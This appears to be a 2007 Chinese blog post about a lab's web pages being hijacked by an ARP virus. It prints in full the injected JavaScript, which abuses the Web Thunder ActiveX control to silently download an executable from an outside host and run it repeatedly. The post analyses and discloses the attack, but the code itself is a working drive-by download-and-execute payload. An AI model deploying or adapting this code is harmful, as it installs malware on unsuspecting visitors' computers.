星期五, 六月 22, 2007

利用Web迅雷的木马程序

其实也不算什么病毒,这段代码的作用就是下载一个可执行文件,并且执行它。那个下载的文件也不是病毒,还是一个下载文件(分析过程这里没有写),估计最后是下载各种其他木马吧。
最近实验室中了ARP病毒,把实验室的网页劫持后加入了下面这段代码。
尽管我已经给病毒服务器的注册者发信了(北京一家公司,服务器在东莞),估计没人理我。
安装有Web迅雷并且使用IE浏览的用户有可能感染,看作者的一些注释挺有趣的。

var thunder_server=null; var id_file=0;//记录下载任务id
//初始化控件,返回1表示安装了web讯雷,0为出现错误
function init(){
try {
thunder_server = new ActiveXObject("ThunderServer.webThunder.1");
} catch(e) {
//alert("init activex failed");
return 0; }
return 1;}


////////////////////////////////////注意,核心函数//////////////////////////////////////////////////成功执行后函数返回添加的下载任务的id,否则,返回1////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function downfile(){ thunder_server.SetConfig("MessagePanel","DownloadComplete","0");//下载完毕后无显示面版
thunder_server.SetConfig("Sound","DownloadComplete","0");//下载完毕无声音 thunder_server.ShowBrowserWindow();
//thunder_server.SetBrowserWindowSize(0, 0, 0, 0);
//不添加的话thunder_server.AddTask()就不会成功被执行,郁闷.........
var szURL="http://mmy.mmy88.cn/down/wm.exe"; //需要下载的程序的URL
var szFileName="test.exe"; //另存为的文件名
var szSavePath="d:\\";
// szSavePath=thunder_server.GetServerPath(); //另存为的路径
var szComments="";
//注释
var szRefURL="";
//引用URL
var nStartMode=1; //0为手动开始,1为自动开始
var nOnlyFromOrigin=0; //只从原始地址下载,0为否
var nOriginThreadNum=5; //下载程序的线程数
var nIsNeedAccount=0; //是否需要登陆,0为无需登陆
var szUserName=""; //登陆用户名
var szPassword=""; //登陆密码
var szTaskClass=""; //下载任务的类别,如“其他”,“软件”,“游戏”,“影视”等等
var szCID=""; //下载讯雷资源时才用到
var nIsAddUncompletedTask=0; //看名字就知道
var szStatURL="";
//thunder_server.SetVariable("DoIntelligentName", "");
//调用AddTask()方法开始下载目标程序
var retStr = thunder_server.AddTask(szURL, szFileName, szSavePath,szComments, szRefURL, nStartMode, nOnlyFromOrigin,nOriginThreadNum, nIsNeedAccount, szUserName,szPassword, szTaskClass, szCID, nIsAddUncompletedTask, szStatURL); thunder_server.HideBrowserWindow(1);
//调用AddTask()方法后立即关掉打开的下载窗口
var ret_code = new Number();
var ret_msg = new String();
var aryStr = new String();
if (retStr.length > 0) {
aryStr = retStr.split("{\r*\r}");
ret_code = parseInt(aryStr[0]);//记录添加任务结果,0为添加成功,1为出现错误,100为重复URL ret_msg = aryStr[1];//正确执行后为添加的下载任务的id值
} else //失败
{ return 1; } if(ret_code==1)return 1; return ret_msg;}


//运行下载后的文件
function open() { thunder_server.OpenFile(id_file); }
function exec(){
var ret=init();
if(ret==0)return;
id_file=downfile();
if(id_file==1)
return; //若出现错误则一直调用downfile()函数直到成功为止!!
setInterval("open()",5000);
//搞了半天没有搞出下载完毕的回调函数,
//只能5秒为间隔的运行下载的程序。
//若文件没有下载完毕,调用open()函数时文件并未运行

没有评论: